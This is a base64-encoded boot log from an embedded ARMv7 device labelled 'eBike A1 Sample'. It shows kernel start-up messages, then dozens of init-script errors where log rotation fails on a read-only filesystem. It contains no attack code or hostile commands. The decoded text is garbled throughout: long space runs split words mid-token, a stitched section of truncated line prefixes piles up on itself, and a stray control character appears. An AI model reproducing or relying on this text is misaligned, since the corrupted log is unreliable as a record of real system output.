MmZjMDlhXSByZXZpc2lvbiAxMCAoQVJNdjcpLCBjcj0xMGM1M2M3ZA0KSmFuICAxIDAwOjAwOjAx
IEJVSTI3MCB1c2VyLndhcm4ga2VybmVsOiBbICAgIDAuMDAwMDAwXSBDUFU6IFZJUFQgbm9uYWxp
YXNpbmcgZGEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRh
IGNhY2hlLCBWSVBUIGFsaWFzaW5nIGluc3RydWN0aW9uIGNhY2hlDQpKYW4gIDEgMDA6MDA6MDEg
QlVJMjcwIHVzZXIud2FybiBrZXJuZWw6IFsgICAgMC4wMDAwMDBdIE1hY2hpbmU6IGVCaWtlIEEx
IFNhbXBsZQ0KSmFuICAxIDAwOjAwOjAxIEJVSTI3MCB1c2VyLndhcm4ga2VybmVsOiBbICAgIDAu
MDAwMDAwXSBNZW1vcnkgcG9saWN5OiBFQ0MgZGlzYWIgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGxlZCwgRGF0YSBjYWNoZSB3cml0ZWJhY2sNCkphbiAgMSAw
MDowMDowMSBCVUkyNzAgdXNlci5pbmZvIGtlcm5lbDogWyAgICAwLjAwMDAwMF0gQ1BVIGlkZW50
aWZpZWQgYXMgaS5NWDZEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBML1NPTE8sIHNpbGljb24gcmV2IDEuMQ0KSmFuICAxIDAwOjAwOjAxIEJVSTI3MCB1c2Vy
LmRlYnVnIGtlcm5lbDogWyAgICAwLjAwMDAwMF0gT24gbm9kZSAwIHRvdGFscGFnZXM6IDEgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDIyNjI0DQpKYW4gIDEg
MDA6MDA6MDEgQlVJMjcwIHVzZXIuZGVidWcga2VybmVsOiBbICAgIDAuMDAwMDAwXSBmcmVlX2Fy
ZWFfaW5pdF9ub2RlOiBubyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgZGUgMCwgcGdkYXQgODA0ODQ4MGMsIG5vZGVfbWVtX21hcCA4YjgwMDAwMA0KSmFuICAx
IDAwOjAwOjAxIEJVSTI3MCB1c2VyLmRlYnVnIGtlcm5lbDogWyAgICAwLjAwMDAwMF0gICBETUEg
em9uZTogMzY4IHBhZ2VzIHUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHNlZCBmb3IgbWVtbWFwDQpKYW4gIDEgMDA6MDA6MDEgQlVJMjcwIHVzZXIuZGVidWcg
a2VybmVsOiBbICAgIDAuMDAwMDAwXSAgIERNQSB6b25lOiAwIHBhZ2VzIHJlcyAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJ2ZWQNCkphbiAgMSAwMDowMDow
MSBCVUkyNzAgdXNlci5kZWJ1ZyBrZXJuZWw6IFsgICAgMC4wMDAwMDBdICAgRE1BIHpvbmU6IDQ2
NzM2IHBhZ2VzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAs
IExJRk8gYmF0Y2g6MTUNCkphbiAgMSAwMDowMDowMSBCVUkyNzAgdXNlci5kZWJ1ZyBrZXJuZWw6
IFsgICAgMC4wMDAwMDBdICAgTm9ybWFsIHpvbmU6IDY1NiBwYWdlICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzIHVzZWQgZm9yIG1lbW1hcA0KSmFuICAxIDAw
OjAwOjAxIEJVSTI3MCB1c2VyLmRlYnVnIGtlcm5lbDogWyAgICAwLjAwMDAwMF0gICBOb3JtYWwg
em9uZTogNzQ4NjQgcGEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdlcywgTElGTyBiYXRjaDoxNQ0KSmFuICAxIDAwOjAwOjAxIEJVSTI3MCB1c2VyLmRlYnVn
IGtlcm5lbDogWyAgICAwLjAwMDAwMF0gcGNwdS1hbGxvYzogczAgcjAgZDMyNzYgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDggdTMyNzY4IGFsbG9jPTEqMzI3
NjgNCkphbiAgMSAwMDowMDowMSBCVUkyNzAgdXNlci5kZWJ1ZyBrZXJuZWw6IFsgICAgMC4wMDAw
MDBdIHBjcHUtYWxsb2M6IFswXSAwDQpKYW4gIDEgMDA6MDA6MDEgQkphbiAgMSAwMDowMDowMSBC
VUkyNzAgdXNlci5ub3RpSmFuICAxIDAwOjAwOjAxIEJVSTI3MCB1c2VyLmluZiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb0phbiAgMSAwMDowMDowMSBCVUky
NzAgdXNlci5pbmZvSmFuICAxIDAwOjAwOjAxIEJVSTI3MCB1c2VyLmluZm9KYW4gIDEgMDA6MDA6
MDEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCVUkyNzAg
dXNlci5ub3RpSmFuICAxIDAwOjAwOjAxIEJVSTI3MCB1c2VyLmluZm9KYW4gIDEgMDA6MDA6MDEg
QlVJMjcwIHVzZXIubm90ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBpSmFuICAxIDAwOjAwOjAxIEJVSTI3MCB1c2VyLmRlYnVKYW4gIDEgMDA6MDA6MDEgQlVJ
MjcwIHVzZXIuZGVidUphbiAgMSAwMDowMDowMSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIEJVSTI3MCB1c2VyLmRlYnVKYW4gIDEgMDA6MDA6MDEgQlVJMjcw
IHVzZXIuZGVidUphbiAgMSAwMDowMDowMSBCVUkyNzAgdXNlci5kZWIgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVKYW4gIDEgMDA6MDA6MDEgQlVJMjcwIHVz
ZXIuZGVidUphbiAgMSAwMDowMDowMSBCVUkyNzAgdXNlci5kZWJ1bXY6IGNhbid0IHJlbmFtICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlICcvdmFyL2xvZy8v
UzA1LWZpbGVzeXN0ZW1zLjI4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjI3Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjI2Lmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1
LWZpbGVzeXN0ZW1zLjI1Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjI0Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjIzLmd6Jzog
UmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZp
bGVzeXN0ZW1zLjIyLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjIxLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjIwLmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVz
eXN0ZW1zLjE5Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjE4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjE3Lmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0
ZW1zLjE2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjE1Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjE0Lmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1z
LjEzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzA1LWZpbGVzeXN0ZW1zLjEyLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjExLmd6JzogUmVhZC1vbmx5IGZp
bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjEw
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
UzA1LWZpbGVzeXN0ZW1zLjkuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCBy
ZW5hbWUgJy92YXIvbG9nLy9TMDUtZmlsZXN5c3RlbXMuOC5neic6IFJlYWQtb25seSBmaWxlIHN5
c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNS1maWxlc3lzdGVtcy43Lmd6Jzog
UmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZp
bGVzeXN0ZW1zLjYuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TMDUtZmlsZXN5c3RlbXMuNS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0K
bXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNS1maWxlc3lzdGVtcy40Lmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0
ZW1zLjMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIv
bG9nLy9TMDUtZmlsZXN5c3RlbXMuMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNS1maWxlc3lzdGVtcy4xLmd6JzogUmVhZC1vbmx5IGZp
bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA1LWZpbGVzeXN0ZW1zLjAu
Z3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCmd6aXA6IGNhbid0IG9wZW4gJy92YXIvbG9nLy9T
MDUtZmlsZXN5c3RlbXMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMDUtZmlsZXN5c3RlbXMuZ3onOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0
b3J5DQovZXRjL2luaXQuZC9yYzUuZC9TMDUtZmlsZXN5c3RlbXM6IGxpbmUgNDogY2FuJ3QgY3Jl
YXRlIC92YXIvbG9nLy9TMDUtZmlsZXN5c3RlbSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgczogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzA2LW1rZGV2aWNlcy4yOC5neic6IFJlYWQtb25seSBmaWxlIHN5c3Rl
bQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMuMjcuZ3onOiBSZWFk
LW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDYtbWtkZXZp
Y2VzLjI2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzA2LW1rZGV2aWNlcy4yNS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMuMjQuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDYtbWtkZXZpY2VzLjIzLmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA2
LW1rZGV2aWNlcy4yMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFt
ZSAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMuMjEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDYtbWtkZXZpY2VzLjIwLmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA2LW1rZGV2aWNl
cy4xOS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9s
b2cvL1MwNi1ta2RldmljZXMuMTguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9nLy9TMDYtbWtkZXZpY2VzLjE3Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA2LW1rZGV2aWNlcy4xNi5neic6
IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1t
a2RldmljZXMuMTUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TMDYtbWtkZXZpY2VzLjE0Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA2LW1rZGV2aWNlcy4xMy5neic6IFJlYWQtb25s
eSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMu
MTIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TMDYtbWtkZXZpY2VzLjExLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzA2LW1rZGV2aWNlcy4xMC5neic6IFJlYWQtb25seSBmaWxlIHN5
c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMuOS5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1ta2Rl
dmljZXMuOC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zh
ci9sb2cvL1MwNi1ta2RldmljZXMuNy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNh
bid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMuNi5neic6IFJlYWQtb25seSBmaWxl
IHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMuNS5neic6
IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1t
a2RldmljZXMuNC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAn
L3Zhci9sb2cvL1MwNi1ta2RldmljZXMuMy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6
IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMuMi5neic6IFJlYWQtb25seSBm
aWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMuMS5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1Mw
Ni1ta2RldmljZXMuMC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KZ3ppcDogY2FuJ3Qgb3Bl
biAnL3Zhci9sb2cvL1MwNi1ta2RldmljZXMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDYtbWtkZXZpY2VzLmd6JzogTm8gc3VjaCBmaWxl
IG9yIGRpcmVjdG9yeQ0KL2V0Yy9pbml0LmQvcmM1LmQvUzA2LW1rZGV2aWNlczogbGluZSA0OiBj
YW4ndCBjcmVhdGUgL3Zhci9sb2cvL1MwNi1ta2RldmljZXM6IFIgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzA3LW5ldHdvcmstbG8uMjguZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDctbmV0d29yay1sby4yNy5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1Mw
Ny1uZXR3b3JrLWxvLjI2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzA3LW5ldHdvcmstbG8uMjUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDctbmV0d29yay1sby4yNC5neic6IFJl
YWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNy1uZXR3
b3JrLWxvLjIzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzA3LW5ldHdvcmstbG8uMjIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDctbmV0d29yay1sby4yMS5neic6IFJlYWQtb25s
eSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNy1uZXR3b3JrLWxv
LjIwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzA3LW5ldHdvcmstbG8uMTkuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9nLy9TMDctbmV0d29yay1sby4xOC5neic6IFJlYWQtb25seSBmaWxl
IHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNy1uZXR3b3JrLWxvLjE3Lmd6
JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA3
LW5ldHdvcmstbG8uMTYuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMDctbmV0d29yay1sby4xNS5neic6IFJlYWQtb25seSBmaWxlIHN5c3Rl
bQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNy1uZXR3b3JrLWxvLjE0Lmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA3LW5ldHdv
cmstbG8uMTMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbG9nLy9TMDctbmV0d29yay1sby4xMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6
IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNy1uZXR3b3JrLWxvLjExLmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA3LW5ldHdvcmstbG8u
MTAuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9TMDctbmV0d29yay1sby45Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzA3LW5ldHdvcmstbG8uOC5neic6IFJlYWQtb25seSBmaWxlIHN5
c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNy1uZXR3b3JrLWxvLjcuZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDctbmV0
d29yay1sby42Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzA3LW5ldHdvcmstbG8uNS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6
IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwNy1uZXR3b3JrLWxvLjQuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDctbmV0d29yay1sby4z
Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
UzA3LW5ldHdvcmstbG8uMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJl
bmFtZSAnL3Zhci9sb2cvL1MwNy1uZXR3b3JrLWxvLjEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDctbmV0d29yay1sby4wLmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQpnemlwOiBjYW4ndCBvcGVuICcvdmFyL2xvZy8vUzA3LW5ldHdv
cmstbG8uZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIv
bG9nLy9TMDctbmV0d29yay1sby5neic6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkNCi9ldGMv
aW5pdC5kL3JjNS5kL1MwNy1uZXR3b3JrLWxvOiBsaW5lIDQ6IGNhbid0IGNyZWF0ZSAvdmFyL2xv
Zy8vUzA3LW5ldHdvcmstbG86ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzA4LXN5c2N0bC4yOC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJl
bmFtZSAnL3Zhci9sb2cvL1MwOC1zeXNjdGwuMjcuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDgtc3lzY3RsLjI2Lmd6JzogUmVhZC1vbmx5
IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC4yNS5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1Mw
OC1zeXNjdGwuMjQuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TMDgtc3lzY3RsLjIzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC4yMi5neic6IFJlYWQtb25seSBmaWxl
IHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwOC1zeXNjdGwuMjEuZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDgtc3lz
Y3RsLjIwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzA4LXN5c2N0bC4xOS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0
IHJlbmFtZSAnL3Zhci9sb2cvL1MwOC1zeXNjdGwuMTguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0
ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDgtc3lzY3RsLjE3Lmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC4x
Ni5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cv
L1MwOC1zeXNjdGwuMTUuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMDgtc3lzY3RsLjE0Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC4xMy5neic6IFJlYWQtb25seSBm
aWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwOC1zeXNjdGwuMTIuZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDgt
c3lzY3RsLjExLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpeQW12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9TMDgtc3lzY3RsLjEwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC45Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC44Lmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0
bC43Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzA4LXN5c2N0bC42Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC41Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzA4LXN5c2N0bC40Lmd6JzogUmVhZC1vbmx5IGZp
